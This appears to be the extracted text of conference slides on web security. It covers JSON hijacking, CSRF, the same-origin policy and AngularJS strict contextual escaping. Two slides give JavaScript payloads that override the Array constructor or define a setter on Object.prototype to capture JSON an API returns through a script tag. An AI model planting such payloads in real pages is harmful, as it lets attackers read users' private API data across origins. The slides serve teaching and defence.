The document discusses cache JSON hijacking and cross-site request forgery (CSRF). It provides examples of how an attacker could steal JSON data from a cache by overriding native JavaScript methods and injecting scripts to access APIs without authorization.

3. http://server:8080/api/shared_spaces/2001/workspaces/1002/work_items

4. Cross-site request forgery (CSRF / XSRF)

7. SOP (Same Origin Policy)

8. <script src="http://server/api/shared_spaces/2001/workspaces/1002/work_items" >
Cache - JSON Hijacking

9. Cache - JSON Hijacking
[{
"Id" : 1,
"Balance" : 3.14
}, {
"Id" : 2,
"Balance" : 2.72
}, {
"Id" : 3,
"Balance" : 1.62
}
]

10. var yourData = '';
var i = -1;
while(secrets[++i]) {
yourData += secrets[i] + ' ';
}
alert('I stole your data: ' + yourData);
Cache - JSON Hijacking
var secrets;
Array = function() {
secrets = this;
};

11. Cache - JSON Hijacking
{
"total_count" : 1,
"data" : [{
"type" : "work_item",
"creation_time" : "2016-09-11T07:51:17Z",
"business_value" : null,
"original_id" : null
}
],
"exceeds_total_count" : false
}

12. Cache - JSON Hijacking
<script type="text/javascript">
Object.prototype.__defineSetter__(‘data',
function(obj) {
secrets = obj;
}
);
</script>
<script src="http://server/api/shared_spaces/2001/workspaces/1002/work_items" >

18. HTML Templates
• ng-bind
• ng-bind-html
• ng-bind-html-untrusted

19. Data binding (in templates)

20. ng-bind-html will only render “safe” HTML into the DOM.
Error: [$sce:unsafe] Attempting to use an unsafe value in a safe context.
Solution: $sanitize
Sanitized HTML is safe
ng-bind-html

21. Strict Contextual Escaping
Error: [$sce:unsafe] Attempting to use an unsafe value in a safe context.
Explicitly trusted HTML is safe (without sanitization)
$sce.trustAsHtml()
Note: Remember to compile Trusted HTML if contains angular (there is a way to
do it …)
Service: $sce